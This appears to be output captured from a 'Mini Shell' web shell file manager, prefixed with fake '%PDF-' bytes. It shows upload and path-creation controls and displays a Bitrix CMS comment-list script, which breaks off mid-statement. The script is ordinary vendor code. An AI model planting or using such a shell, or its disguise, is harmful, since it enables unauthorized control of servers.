%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/main.post.list/templates/.default/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/components/bitrix/main.post.list/templates/.default/script.min.js

(function(){window["UC"]=window["UC"]||{};if(window["FCList"])return;var safeEditing=true,safeEditingCurrentObj=null,quoteData=null,repo={commentExemplarId:{}};window.FCList=function(e,t){this.CID=e["CID"];this.ENTITY_XML_ID=e["ENTITY_XML_ID"];this.container=e["container"];this.nav=e["nav"];this.mid=e["mid"];this.order=e["order"];this.status="ready";this.msg=!!this.nav?this.nav.innerHTML:"";this.params=t||{};this.pullNewRecords={};this.rights=e["rights"];this.DATE_TIME_FORMAT=this.params["DATE_TIME_FORMAT"]||null;this.comments={};this.bindEvents=[[this.nav,"click",BX.proxy(function(e){BX.eventCancelBubble(e);e.preventDefault();this.get();return false},this)]];this.exemplarId=BX.util.getRandomString(20);this.windowEvents={OnUCUserIsWriting:BX.delegate(function(t,i,s){if(this.ENTITY_XML_ID==t){BX.ajax({url:this.url.activity,method:"POST",data:{AJAX_POST:"Y",ENTITY_XML_ID:this.ENTITY_XML_ID,COMMENT_EXEMPLAR_ID:s,MODE:"PUSH&PULL",sessid:BX.bitrix_sessid(),sign:e["sign"],PATH_TO_USER:this.params["PATH_TO_USER"],AVATAR_SIZE:this.params["AVATAR_SIZE"],NAME_TEMPLATE:this.params["NAME_TEMPLATE"],SHOW_LOGIN:this.params["SHOW_LOGIN"]}})}},this),OnUCAfterRecordAdd:BX.delegate(function(e,t){if(this.ENTITY_XML_ID==e){this.add(t["messageId"],t,true,"simple")}},this),OnUCFormSubmit:BX.delegate(function(e,t,i,s){if(this.ENTITY_XML_ID==e){s["EXEMPLAR_ID"]=this.exemplarId;this.pullNewRecords[e+"-0"]="busy"}},this),OnUCFormResponse:BX.delegate(function(e,t){if(this.ENTITY_XML_ID==e){this.pullNewRecords[e+"-0"]="ready";this.pullNewRecords[e+"-"+t]="done"}},this),OnUCFormAfterShow:BX.delegate(function(e){if(typeof e.id!="undefined"&&this.ENTITY_XML_ID==e.id[0]){if(BX("record-"+this.ENTITY_XML_ID+"-new")){var t=BX.findParent(BX("record-"+this.ENTITY_XML_ID+"-new"),{className:"feed-comments-block"});if(t){BX.addClass(t,"feed-comments-block-editor-shown");var i=BX.findChild(t,{className:"feed-com-add-box-outer"},true);if(i){i.style.display=e.id[1]==0?"block":"none"}}}}},this),OnUCFormAfterHide:BX.delegate(function(e){if(this.ENTITY_XML_ID==e.id[0]){if(BX("record-"+this.ENTITY_XML_ID+"-new")){var t=BX.findParent(BX("record-"+this.ENTITY_XML_ID+"-new"),{className:"feed-comments-block"});if(t){BX.removeClass(t,"feed-comments-block-editor-shown");var i=BX.findChild(t,{className:"feed-com-add-box-outer"},true);if(i){i.style.display="block"}}}}},this),OnUCUserQuote:BX.delegate(function(e){if(this.ENTITY_XML_ID==e&&this.quote&&this.quote.popup){this.quote.popup.hide()}},this),"onPullEvent-unicomments":BX.delegate(function(e,t){if(this.ENTITY_XML_ID==t["ENTITY_XML_ID"]&&(t["USER_ID"]+""!=BX.message("USER_ID")+""||t["EXEMPLAR_ID"]&&t["EXEMPLAR_ID"]!=this.exemplarId||typeof t["AUX"]!="undefined"&&BX.util.in_array(t["AUX"],["createtask","fileversion"]))){if(e==="comment"&&t["ID"]){if(t["COMMENT_EXEMPLAR_ID"])repo.commentExemplarId[t["ENTITY_XML_ID"]+"_"+t["COMMENT_EXEMPLAR_ID"]]=true;this.pullNewRecord(t)}else if(e==="answer"&&t["USER_ID"]+""!==BX.message("USER_ID")+""&&(!t["COMMENT_EXEMPLAR_ID"]||repo.commentExemplarId[t["ENTITY_XML_ID"]+"_"+t["COMMENT_EXEMPLAR_ID"]]!==true)){this.pullNewAuthor(t["USER_ID"],t["NAME"],t["AVATAR"])}}},this)};if(this.params&&this.params["NOTIFY_TAG"]&&!!this.params["NOTIFY_TEXT"]&&!!window["UC"]["Informer"]){this.windowEvents["OnUCCommentWasPulled"]=BX.delegate(function(e,t){if(this.ENTITY_XML_ID==e[0]){window["UC"]["Informer"].check(e,t,this.params["NOTIFY_TAG"],this.params["NOTIFY_TEXT"])}},this);window["UC"]["InformerTags"][this.params["NOTIFY_TAG"]]=window["UC"]["InformerTags"][this.params["NOTIFY_TAG"]]||[]}var i;for(i=0;i<this.bindEvents.length;i++){BX.bind(this.bindEvents[i][0],this.bindEvents[i][1],this.bindEvents[i][2])}for(i in this.windowEvents){if(this.windowEvents.hasOwnProperty(i)){BX.addCustomEvent(window,i,this.windowEvents[i])}}var s=/%23com(\d+)/gi.exec(location.href),n=parseInt(location.hash&&location.hash.indexOf("#com")>=0?location.hash.replace("#com",""):s?s[1]:0);if(n>0)this.checkHash(n);if(this.params["BIND_VIEWER"]=="Y"&&BX["viewElementBind"]&&BX("record-"+this.ENTITY_XML_ID+"-new")){BX.viewElementBind(BX("record-"+this.ENTITY_XML_ID+"-new").parentNode,{},function(e){return BX.type.isElementNode(e)&&(e.getAttribute("data-bx-viewer")||e.getAttribute("data-bx-image"))})}this.init(e);if(this.mid>0&&BX("record-"+[this.ENTITY_XML_ID,this.mid].join("-")+"-cover")){var o=BX("record-"+[this.ENTITY_XML_ID,this.mid].join("-")+"-cover").parentNode.firstChild,a=new RegExp("record-("+this.ENTITY_XML_ID+")-([0-9]+)-cover","gi");while(BX(o)){if(o["hasAttribute"]&&o.hasAttribute("id")&&a.test(o.getAttribute("id"))){(o.getAttribute("id")+"").replace(a,function(e,t,i){traceForReading([t,i])})}o=o.nextSibling}}if(repo[this.ENTITY_XML_ID])repo[this.ENTITY_XML_ID].destroy();repo[this.ENTITY_XML_ID]=this;BX.ready(function(){setTimeout(BX.delegate(function(){BX.onCustomEvent(window,"OnUCHasBeenInitialized",[this.ENTITY_XML_ID,this])},this),100)});return this};window.FCList.prototype={url:{activity:"/bitrix/components/bitrix/main.post.list/activity.php"},destroy:function(){var e,t;while((t=this.bindEvents.pop())&&t){BX.unbindAll(t[0]);t[0]=null;t[2]=null}for(e in this.windowEvents){if(this.windowEvents.hasOwnProperty(e)){BX.removeCustomEvent(window,e,this.windowEvents[e]);this.windowEvents[e]=null}}this.windowEvents=null;delete repo[this.ENTITY_XML_ID];BX.onCustomEvent(window,"OnUCHasBeenDestroyed",[this.ENTITY_XML_ID,this])},init:function(){if(this.params["SHOW_POST_FORM"]=="Y"){this.quote.show=BX.delegate(function(e,t){setTimeout(BX.delegate(function(){this.quoteShow(e,t)},this),50)},this);var e=BX("record-"+this.ENTITY_XML_ID+"-new"),t=BX.findChildren(e.parentNode,{tagName:"DIV",className:"feed-com-block-cover"},false);t=!!t?t:[];t.push(e);if(!!this.container)t.push(this.container);for(var i=0;i<t.length;i++){BX.bind(t[i],"mouseup",this.quote.show)}var s=BX("record-"+this.ENTITY_XML_ID+"-switcher");if(s&&!s.bxDndIsBound){s.bxDndIsBound="Y";BX.bind(s,"dragenter",BX.delegate(this.reply,this))}BX.addCustomEvent(window,"onQuote"+this.ENTITY_XML_ID,this.quote.show)}},quote:{show:BX.DoNothing(),popup:null},quoteCheck:function(){var e="",t,i=null;if(window.getSelection){t=window.getSelection();e=t.toString()}else if(document.selection){t=document.selection;e=t.createRange().text}if(e!=""){var s=BX("record-"+this.ENTITY_XML_ID+"-new"),n=BX.findParent(t.focusNode,{tagName:"DIV",className:"feed-com-block-cover"},s.parentNode),o=BX.findParent(t.anchorNode,{tagName:"DIV",className:"feed-com-block-cover"},s.parentNode);if(n!=o||BX(n)&&!n.hasAttribute("id")){e=""}else if(BX(n)){var a=BX(n.getAttribute("id").replace(/\-cover$/,"-actions-reply"));if(a){i={id:parseInt(a.getAttribute("bx-mpl-author-id")),name:a.getAttribute("bx-mpl-author-name"),gender:a.getAttribute("bx-mpl-author-gender")}}}}if(e==""){if(!!this.quote.popup)this.quote.popup.hide();return false}return{text:e,author:i}},quoteShow:function(e,t){t=t||this.quoteCheck();if(!t||!t["text"]){quoteData=null;return}quoteData=t;if(this.quote.popup==null){this.quote.popup=new MPLQuote({id:this.ENTITY_XML_ID,closeByEsc:true,autoHide:true,autoHideTimeout:2500,events:{click:BX.delegate(function(e){e.preventDefault();BX.eventCancelBubble(e);safeEditingCurrentObj=safeEditing;BX.onCustomEvent(window,"OnUCUserQuote",[this.ENTITY_XML_ID,t["author"],t["text"],safeEditingCurrentObj]);this.quote.popup.hide();return false},this)},classEvents:{onQuoteHide:BX.proxy(function(){quoteData=null;this.quote.popup=null},this)}})}this.quote.popup.show(e)},display:function(e,t){var i=0,s=0,n=0,o=this.container;e=e=="hide"?"hide":"show";if(e=="hide"){i=parseInt(this.container.offsetHeight);n=i/2e3;n=n<.3?.3:n>.5?.5:n;o.style.overflow="hidden";new BX["easing"]({duration:n*1e3,start:{height:i,opacity:100},finish:{height:s,opacity:0},transition:BX.easing.makeEaseOut(BX.easing.transitions.quart),step:function(e){o.style.maxHeight=e.height+"px";o.style.opacity=e.opacity/100},complete:BX.proxy(function(){o.style.cssText="";o.style.display="none";BX.onCustomEvent(this,"OnUCListWasHidden",[this,[],o])},this)}).animate()}else{i=parseInt(t||20);o.style.display="block";o.style.overflow="hidden";o.style.maxHeight=i;s=parseInt(this.container.offsetHeight);n=(s-i)/(2e3-i);n=n<.3?.3:n>.8?.8:n;new BX["easing"]({duration:n*1e3,start:{height:i,opacity:i>0?100:0},finish:{height:s,opacity:100},transition:BX.easing.makeEaseOut(BX.easing.transitions.quart),step:function(e){o.style.maxHeight=e.height+"px";o.style.opacity=e.opacity/100},complete:BX.proxy(function(){o.style.cssText="";o.style.maxHeight="none";BX.onCustomEvent(this,"OnUCListWasShown",[this,[],o])},this)}).animate()}},get:function(){if(this.status=="done"){if(this.nav.getAttribute("bx-visibility-status")=="visible"){this.display("hide");BX.adjust(this.nav,{attrs:{"bx-visibility-status":"none"},html:this.msg})}else{this.display("show");BX.adjust(this.nav,{attrs:{"bx-visibility-status":"visible"},html:BX.message("BLOG_C_HIDE")})}}else if(this.status=="ready"){this.send()}return false},send:function(){this.status="busy";BX.addClass(this.nav,"feed-com-all-hover");var e=BX.ajax.prepareData({AJAX_POST:"Y",ENTITY_XML_ID:this.ENTITY_XML_ID,MODE:"LIST",FILTER:this.order=="ASC"?{">ID":this.mid}:{"<ID":this.mid},sessid:BX.bitrix_sessid()}),t=BX.util.htmlspecialcharsback(this.nav.getAttribute("href"));t=t.indexOf("#")!==-1?t.substr(0,t.indexOf("#")):t;var i={url:t,data:e};BX.onCustomEvent(this,"OnUCListHasToBeEnlarged",[this,i]);t=i.url;e=i.data;BX.ajax({url:t+(t.indexOf("?")!==-1?"&":"?")+e,method:"GET",dataType:"json",data:"",onsuccess:BX.proxy(this.build,this),onfailure:BX.proxy(this.complete,this)})},build:function(e){this.status="ready";this.wait("hide");BX.removeClass(this.nav,"feed-com-all-hover");if(!!e&&e["status"]=="success"){var t=!!e["navigation"]?BX.create("DIV",{html:e["navigation"]}):null,i=BX.processHTML(e["messageList"],false);var s=this.container.offsetHeight,n=BX.create("DIV",{html:i.HTML});if(this.order=="ASC"||!this.container.firstChild){this.container.appendChild(n)}else{this.container.insertBefore(n,this.container.firstChild)}BX.onCustomEvent(window,"OnUCFeedChanged",[[this.ENTITY_XML_ID,this.mid]]);this.display("show",s);if(!!t)t=t.firstChild;if(!!t)BX.adjust(this.nav,{attrs:{href:t.getAttribute("href")},html:t.innerHTML});else{BX.adjust(this.nav,{attrs:{href:"#","bx-visibility-status":"visible"},html:BX.message("BLOG_C_HIDE"),events:{click:function(e){BX.eventCancelBubble(e);e.preventDefault();return false}}});this.status="done"}var o=0,a=BX.delegate(function(){o++;if(o<100){if(this.container.childNodes.length>0){BX.ajax.processScripts(i.SCRIPT);var t=n.firstChild,s=n.lastChild,r=0,d=0;if(t&&t.hasAttribute("id")){r=parseInt(t.getAttribute("id").replace("record-"+this.ENTITY_XML_ID+"-","").replace("-cover",""));r=r>0?r:0}if(s&&s.hasAttribute("id")){d=parseInt(s.getAttribute("id").replace("record-"+this.ENTITY_XML_ID+"-","").replace("-cover",""));d=d>0?d:0}if(r>d){d=d+r;r=d-r;d=d-r}n.setAttribute("bx-mpl-min",r+"");n.setAttribute("bx-mpl-max",d+"");n.setAttribute("bx-mpl-loaded","Y");this.recalcMoreButtonsList(n);BX.onCustomEvent(this,"OnUCListWasBuilt",[this,e,n])}else BX.defer(a)()}},this);BX.defer(a)()}},complete:function(){this.status="done";BX.removeClass(this.nav,"feed-com-all-hover");this.wait("hide")},wait:function(e){e=e=="show"?"show":"hide";return e},reply:function(e){safeEditingCurrentObj=safeEditing;if(BX.type.isElementNode(e))BX.onCustomEvent(window,"OnUCUserReply",[this.ENTITY_XML_ID,e.getAttribute("bx-mpl-author-id"),e.getAttribute("bx-mpl-author-name"),safeEditingCurrentObj]);else BX.onCustomEvent(window,"OnUCUserReply",[this.ENTITY_XML_ID,undefined,undefined,safeEditingCurrentObj])},add:function(e,t,i,s){if(!(!!t&&!!e&&parseInt(e[1])>0))return false;var n=BX("record-"+e.join("-")+"-cover"),o=!!t["message"]?t["message"]:window.fcParseTemplate({messageFields:t["messageFields"]},{RIGHTS:this.rights,DATE_TIME_FORMAT:this.DATE_TIME_FORMAT,VIEW_URL:this.params.VIEW_URL,EDIT_URL:this.params.EDIT_URL,MODERATE_URL:this.params.MODERATE_URL,DELETE_URL:this.params.DELETE_URL,AUTHOR_URL:this.params.AUTHOR_URL,AUTHOR_URL_PARAMS:this.params.AUTHOR_URL_PARAMS,NAME_TEMPLATE:this.params.NAME_TEMPLATE,SHOW_LOGIN:this.params.SHOW_LOGIN},this.getTemplate()),a=BX.processHTML(o,false),r,d=BX("record-"+e[0]+"-new"),l=["MODERATE","EDIT","DELETE"],c=false,h=0;for(var u in l){if(l.hasOwnProperty(u)){if(this.rights[l[u]]=="OWNLAST"){c=true;break}}}if(c){r=!!d.lastChild&&d.lastChild.className=="feed-com-block-cover"?[d.lastChild]:[];var T,E;if(this.addCheckPreviousNodes!==true){r=BX.findChildren(d.parentNode,{tagName:"DIV",className:"feed-com-block-cover"},false);var m=BX.findChildren(d,{tagName:"DIV",className:"feed-com-block-cover"},false);r=!!r?r:[];m=!!m?m:[];while(m.length>0&&(T=m.pop())&&!!T)r.push(T);this.addCheckPreviousNodes=true}while((T=r.pop())&&T){E=BX(T.id.replace("-cover","-actions"));if(!!E){if(this.rights["EDIT"]=="OWNLAST")E.setAttribute("bx-mpl-edit-show","N");if(this.rights["MODERATE"]=="OWNLAST")E.setAttribute("bx-mpl-moderate-show","N");if(this.rights["DELETE"]=="OWNLAST")E.setAttribute("bx-mpl-delete-show","N")}}}var p=false;if(!n){n=BX.create("DIV",{attrs:{id:"record-"+e.join("-")+"-cover",className:"feed-com-block-cover"},style:{opacity:0,height:0,overflow:"hidden"},html:a.HTML});d.appendChild(n);p=true}else{var f=BX.create("DIV",{attrs:{id:"record-"+e.join("-")+"-cover",className:"feed-com-block-cover"},style:{display:"none"},html:a.HTML}),_=n,X=BX.findChild(_,{tag:"div",className:"feed-com-text-inner"},true),I=X&&X.classList.contains("feed-com-text-inner-expanded");if(I){X=BX.findChild(f,{tag:"div",className:"feed-com-text-inner"},true);if(X){X.classList.add("feed-com-text-inner-expanded")}}n.parentNode.insertBefore(f,n);n.removeAttribute("id");h=n.scrollHeight;BX.hide(n);BX.show(f);n=f;setTimeout(function(){BX.remove(_)},1e3)}if(s!=="simple"&&typeof BXMobileApp=="undefined"){var B=BX.pos(n),A=BX.GetWindowScrollPos(),R=BX.GetWindowInnerSize();new BX["easing"]({duration:1e3,start:{opacity:p?0:100,height:h},finish:{opacity:100,height:n.scrollHeight},transition:BX.easing.makeEaseOut(BX.easing.transitions.quart),step:function(e){n.style.height=e.height+"px";n.style.opacity=e.opacity/100;if(A.scrollTop>0&&B.top<A.scrollTop+R.innerHeight){window.scrollTo(0,A.scrollTop+e.height)}},complete:function(){n.style.cssText=""}}).animate()}else{new BX["easing"]({duration:500,start:{opacity:p?0:100,height:h},finish:{opacity:100,height:n.scrollHeight},transition:BX.easing.makeEaseOut(BX.easing.transitions.cubic),step:function(e){n.style.height=e.height+"px";n.style.opacity=e.opacity/100},complete:BX.proxy(function(){n.style.cssText="";BX.onCustomEvent(this,"OnUCRecordWasShown",[this.ENTITY_XML_ID,e,n])},this)}).animate()}var w=0,g=function(){w++;if(w<100){var i=BX("record-"+e.join("-")+"-cover");if(i&&i.childNodes.length>0){BX.ajax.processScripts(a.SCRIPT);if(this.params["BIND_VIEWER"]=="Y"&&BX["viewElementBind"]){BX.viewElementBind(i,{},function(e){return BX.type.isElementNode(e)&&(e.getAttribute("data-bx-viewer")||e.getAttribute("data-bx-image"))})}this.recalcMoreButton(this.findMoreButton(i))}else{BX.defer(g,this)()}}BX.onCustomEvent(window,"OnUCRecordHasDrawn",[this.ENTITY_XML_ID,e,t["messageFields"]]);BX.onCustomEvent(window,"OnUCFeedChanged",[e])};BX.defer(g,this)();return true},findMoreButton:function(e){return false},recalcMoreButton:function(e){return false},recalcMoreButtonsList:function(e){return false},pullNewAuthor:function(e,t,i){BX.onCustomEvent(window,"OnUCUsersAreWriting",[this.ENTITY_XML_ID,e,t,i])},pullNewRecord:function(e){var t=[this.ENTITY_XML_ID,parseInt(e["ID"])];if(!!this.pullNewRecords[t.join("-")]&&this.pullNewRecords[t.join("-")]=="busy")return true;else if(!!this.pullNewRecords[t[0]+"-0"]&&this.pullNewRecords[t[0]+"-0"]=="busy")return setTimeout(BX.proxy(function(){this.pullNewRecord(e)},this),100);BX.onCustomEvent(window,"OnUCBeforeCommentWillBePulled",[t,e]);if(e["NEED_REQUEST"]=="Y"){if(e["URL"]["LINK"].indexOf("#GROUPS_PATH#")>=0&&!!BX.message("MPL_WORKGROUPS_PATH"))e["URL"]["LINK"]=e["URL"]["LINK"].replace("#GROUPS_PATH#",BX.message("MPL_WORKGROUPS_PATH"));this.pullNewRecords[t.join("-")]="busy";var i=BX.ajax.prepareData({AJAX_POST:"Y",ENTITY_XML_ID:this.ENTITY_XML_ID,MODE:"RECORD",FILTER:{ID:e["ID"]},sessid:BX.bitrix_sessid()}),s=e["URL"]["LINK"];s=s.indexOf("#")!==-1?s.substr(0,s.indexOf("#")):s;BX.ajax({url:s+(s.indexOf("?")!==-1?"&":"?")+i,method:"GET",dataType:"json",data:"",onsuccess:BX.delegate(function(i){if(!!BX("record-"+t.join("-")+"-cover"))return;this.add([this.ENTITY_XML_ID,parseInt(e["ID"])],i);var s=BX("record-"+t.join("-")+"-cover"),n=BX.findChild(s,{className:"feed-com-main-content"},true,false);BX.addClass(s,"comment-new-answer");BX.addClass(n,"feed-com-block-pointer-to-new feed-com-block-new");this.pullNewRecords[t.join("-")]="done";if(BX("record-"+t[0]+"-corner")){BX.addClass(BX("record-"+t[0]+"-corner"),BX.hasClass(n,"feed-com-block-new")?"feed-post-block-yellow-corner":"");BX("record-"+t[0]+"-corner").removeAttribute("id")}BX.onCustomEvent(window,"OnUCCommentWasPulled",[t,i])},this)})}else if(e["ACTION"]=="DELETE"){if(BX("record-"+this.ENTITY_XML_ID+"-"+e["ID"]))BX.fx.hide(BX("record-"+this.ENTITY_XML_ID+"-"+e["ID"]),"scroll",{time:.2});BX.onCustomEvent(window,"OnUCommentWasDeleted",[this.ENTITY_XML_ID,[this.ENTITY_XML_ID,e["ID"]],e]);BX.onCustomEvent(window,"OnUCFeedChanged",[e["ID"]])}else if(e["ACTION"]=="HIDE"){var n=BX("record-"+this.ENTITY_XML_ID+"-"+e["ID"]),o=n?BX.findChild(n,{tagName:"DIV",className:"feed-com-block"},true):null;if(BX(o)){if(BX.hasClass(o,"blog-comment-user-"+BX.message("USER_ID"))){BX.removeClass(o,"feed-com-block-approved");BX.addClass(o,"feed-com-block-hidden")}else{BX.fx.hide(n,"scroll",{time:.2});BX.onCustomEvent(window,"OnUCommentWasHidden",[this.ENTITY_XML_ID,[this.ENTITY_XML_ID,e["ID"]],e]);BX.onCustomEvent(window,"OnUCFeedChanged",[e["ID"]])}}}else if(e["ACTION"]=="EDIT"&&!BX("record-"+this.ENTITY_XML_ID+"-"+e["ID"])){BX.DoNothing()}else{if(e&&!(e["AUTHOR"]&&e["AUTHOR"]["ID"]+""==BX.message("USER_ID")+""))e["NEW"]="Y";this.add(t,{messageFields:e});var a=BX("record-"+t.join("-")+"-cover"),r=BX.findChild(a,{className:"feed-com-main-content"},true,false);if(BX("record-"+t[0]+"-corner")){BX.addClass(BX("record-"+t[0]+"-corner"),e["NEW"]=="Y"?"feed-post-block-yellow-corner":"");BX("record-"+t[0]+"-corner").removeAttribute("id")}BX.addClass(a,"comment-new-answer");if(e["NEW"]=="Y"){BX.addClass(r,"feed-com-block-pointer-to-new feed-com-block-new")}this.pullNewRecords[t.join("-")]="done";BX.onCustomEvent(window,"OnUCCommentWasPulled",[t,{messageFields:e}])}return true},act:function(url,id,act){if(url.substr(0,1)!="/"){try{eval(url);return false}catch(e){}if(BX.type.isFunction(url)){url(this,id,act);return false}}this.showWait(id);act=act==="EDIT"?"EDIT":act==="DELETE"?"DELETE":"MODERATE";id=parseInt(id);var data=BX.ajax.prepareData({sessid:BX.bitrix_sessid(),MODE:"RECORD",NOREDIRECT:"Y",AJAX_POST:"Y",FILTER:{ID:id},ENTITY_XML_ID:this.ENTITY_XML_ID});url=url.indexOf("#")!==-1?url.substr(0,url.indexOf("#")):url;BX.ajax({method:"GET",url:url+(url.indexOf("?")!==-1?"&":"?")+data,data:"",dataType:"json",onsuccess:BX.proxy(function(e){this.closeWait(id);if(e["status"]=="error"){this.showError(id,e["message"]||"Unknown error.")}else{if(act!=="EDIT"){var t=BX("record-"+this.ENTITY_XML_ID+"-"+id+"-cover");if(!!e["message"]&&!!t){var i=BX.processHTML(e["message"],false);t.innerHTML=i.HTML;var s=0,n=function(){s++;if(s<100){if(t.childNodes.length>0)BX.ajax.processScripts(i.SCRIPT);else BX.defer(n)()}};BX.defer(n)();e["okMessage"]=""}else if(act=="DELETE"&&!!e["okMessage"]){BX.hide(BX("record-"+this.ENTITY_XML_ID+"-"+id));BX.onCustomEvent(window,"OnUCommentWasDeleted",[this.ENTITY_XML_ID,[this.ENTITY_XML_ID,id]])}}BX.onCustomEvent(window,"OnUCAfterRecordEdit",[this.ENTITY_XML_ID,id,e,act]);BX.onCustomEvent(window,"OnUCFeedChanged",[id])}this.busy=false},this),onfailure:BX.delegate(function(e){this.closeWait(id);this.showError(id,e)},this)});return false},showError:function(e,t){if(this.errorWindow)this.errorWindow.close();this.errorWindow=new BX.PopupWindow("bx-comments-error",null,{autoHide:false,zIndex:200,overlay:{opacity:50,backgroundColor:"#000000"},buttons:[new BX.PopupWindowButton({text:BX.message("MPL_CLOSE"),events:{click:BX.delegate(function(){if(this.errorWindow)this.errorWindow.close()},this)}})],closeByEsc:true,titleBar:{content:BX.create("span",{props:{className:"popup-window-titlebar-text feed-error-title"},html:'<div class="feed-error-icon"></div>'+BX.message("MPL_ERROR_OCCURRED")})},closeIcon:true,contentColor:"white",content:'<div class="feed-error-block">'+t+"</div>"});this.errorWindow.show()},checkHash:function(e){var t=[this.ENTITY_XML_ID,e],i=BX("record-"+t.join("-")+"-cover");if(!!i){var s=BX.pos(i);window.scrollTo(0,s["top"]);i=BX.findChild(i,{className:"feed-com-main-content"},true,false);BX.removeClass(i,"feed-com-block-pointer-to-new feed-com-block-new");BX.addClass(i,"feed-com-block-pointer")}},getTemplate:function(){return BX.message("MPL_RECORD_TEMPLATE")},showWait:function(e){window.fcShowWait(BX("record-"+this.ENTITY_XML_ID+"-"+e+"-actions"))},closeWait:function(e){window.fcCloseWait(BX("record-"+this.ENTITY_XML_ID+"-"+e+"-actions")||null)}};window.FCList.getQuoteData=function(){return quoteData};window.FCList.getInstance=function(e,t){if(!repo[e["ENTITY_XML_ID"]])new window.FCList(e,t);return repo[e["ENTITY_XML_ID"]]};var lastWaitElement=null;window["fcShowWait"]=function(e){if(e&&!BX.type.isElementNode(e))e=null;e=e||this;if(BX.type.isElementNode(e)){BX.defer(function(){e.disabled=true})();var t=BX.findParent(e,BX.is_relative);e.bxwaiter=(t||document.body).appendChild(BX.create("DIV",{props:{className:"feed-com-loader"},style:{position:"absolute"}}));lastWaitElement=e;return e.bxwaiter}return true};window["fcCloseWait"]=function(e){if(e&&!BX.type.isElementNode(e))e=null;e=e||lastWaitElement||this;if(BX.type.isElementNode(e)){if(e.bxwaiter&&e.bxwaiter.parentNode){e.bxwaiter.parentNode.removeChild(e.bxwaiter);e.bxwaiter=null}e.disabled=false;if(lastWaitElement==e)lastWaitElement=null}};window["fcShowActions"]=function(e,t,i){var s=[];if(i.getAttribute("bx-mpl-view-show")=="Y"){s.push({text:BX.message("MPL_MES_HREF"),href:i.getAttribute("bx-mpl-view-url").replace(/\\#(.+)$/gi,"")+"#com"+t});s.push({text:'<span id="record-popup-'+e+"-"+t+'-link-text">'+BX.message("B_B_MS_LINK")+"</span>"+'<span id="record-popup-'+e+"-"+t+'-link-icon-animate" class="comment-menu-link-icon-wrap">'+'<span class="comment-menu-link-icon" id="record-popup-'+e+"-"+t+'-link-icon-done" style="display: none;">'+"</span>"+"</span>",onclick:function(){var s="record-popup-"+e+"-"+t+"-link",n=i.getAttribute("bx-mpl-view-url").replace(/#(.+)$/gi,"")+"#com"+t,o=BX(s+"-text"),a=BX(s+"-icon-done");n=(n.indexOf("http")<0?location.protocol+"//"+location.host:"")+n;if(BX.clipboard.isCopySupported()){if(o&&o.getAttribute("data-block-click")=="Y"){return}BX.clipboard.copy(n);if(o&&a){a.style.display="inline-block";BX.removeClass(BX(s+"-icon-animate"),"comment-menu-link-icon-animate");BX.adjust(BX(s+"-text"),{attrs:{"data-block-click":"Y"}});setTimeout(function(){BX.addClass(BX(s+"-icon-animate"),"comment-menu-link-icon-animate")},1);setTimeout(function(){BX.adjust(BX(s+"-text"),{attrs:{"data-block-click":"N"}})},500)}return}var r=BX.proxy_context,d=parseInt(!!r.getAttribute("bx-height")?r.getAttribute("bx-height"):r.offsetHeight);if(r.getAttribute("bx-status")!="shown"){r.setAttribute("bx-status","shown");if(!BX(s)&&!!BX(s+"-text")){var l=BX(s+"-text"),c=BX.pos(l),h=BX.pos(l.parentNode),u=BX.findChildren(l.parentNode.parentNode.parentNode,{className:"menu-popup-item-text"},true);c["height"]=h["height"]-1;if(u){var T=0,E;for(var m=0;m<u.length;m++){E=BX.pos(u[m]);T=Math.max(T,E["width"])}h["width"]=T}BX.adjust(r,{attrs:{"bx-height":r.offsetHeight},style:{overflow:"hidden",display:"block"},children:[BX.create("BR"),BX.create("DIV",{attrs:{id:s},children:[BX.create("SPAN",{attrs:{className:"menu-popup-item-left"}}),BX.create("SPAN",{attrs:{className:"menu-popup-item-icon"}}),BX.create("SPAN",{attrs:{className:"menu-popup-item-text"},children:[BX.create("INPUT",{attrs:{id:s+"-input",type:"text",value:n},style:{height:h["height"]+"px",width:h["width"]+"px"},events:{click:function(e){this.select();e.preventDefault()}}})]})]}),BX.create("SPAN",{className:"menu-popup-item-right"})]})}new BX["fx"]({time:.2,step:.05,type:"linear",start:d,finish:d*2,callback:BX.delegate(function(e){this.style.height=e+"px"},r)}).start();BX.fx.show(BX(s),.2);BX(s+"-input").select()}else{r.setAttribute("bx-status","hidden");new BX["fx"]({time:.2,step:.05,type:"linear",start:r.offsetHeight,finish:d,callback:BX.delegate(function(e){this.style.height=e+"px"},r)}).start();BX.fx.hide(BX(s),.2)}}})}if(i.getAttribute("bx-mpl-edit-show")=="Y")s.push({text:BX.message("BPC_MES_EDIT"),onclick:function(){window["UC"][e].act(i.getAttribute("bx-mpl-edit-url"),t,"EDIT");this.popupWindow.close();return false}});if(i.getAttribute("bx-mpl-moderate-show")=="Y"){var n=i.getAttribute("bx-mpl-moderate-approved")=="hidden";s.push({text:n?BX.message("BPC_MES_SHOW"):BX.message("BPC_MES_HIDE"),onclick:function(){var s=i.getAttribute("bx-mpl-moderate-url").replace("#action#",n?"show":"hide").replace("#ACTION#",n?"SHOW":"HIDE");if(BX.type.isNotEmptyString(s)){s=BX.util.add_url_param(s,{b24statAction:n?"showComment":"hideComment"})}window["UC"][e].act(s,t,"MODERATE");this.popupWindow.close()}})}if(i.getAttribute("bx-mpl-delete-show")=="Y"){s.push({text:BX.message("BPC_MES_DELETE"),onclick:function(){if(window.confirm(BX.message("BPC_MES_DELETE_POST_CONFIRM")))window["UC"][e].act(i.getAttribute("bx-mpl-delete-url"),t,"DELETE");this.popupWindow.close();return false}})}if(i.getAttribute("bx-mpl-createtask-show")=="Y"&&typeof oLF!="undefined"){var o=i.getAttribute("bx-mpl-comment-entity-type"),a=i.getAttribute("bx-mpl-post-entity-type");s.push({text:BX.message("BPC_MES_CREATE_TASK"),onclick:function(){oLF.createTask({postEntityType:BX.type.isNotEmptyString(a)?a:"BLOG_POST",entityType:BX.type.isNotEmptyString(o)?o:"BLOG_COMMENT",entityId:t});this.popupWindow.close();return false}})}if(s.length>0){for(var r in s){if(s.hasOwnProperty(r)){s[r]["className"]="blog-comment-popup-menu"}}BX.PopupMenu.show("action-"+e+"-"+t,i,s,{offsetLeft:-18,offsetTop:2,lightShadow:false,angle:{position:"top",offset:50},events:{onPopupClose:function(){this.destroy();BX.PopupMenu.Data["action-"+e+"-"+t]=null}}})}};window["fcCommentExpand"]=function(e){BX.UI.Animations.expand({moreButtonNode:e,type:"comment",classBlock:"feed-com-block",classOuter:"feed-com-text-inner",classInner:"feed-com-text-inner-inner",heightLimit:200,callback:function(e){BX.onCustomEvent(window,"OnUCRecordWasExpanded",[e]);e.classList.add("feed-com-text-inner-expanded");var 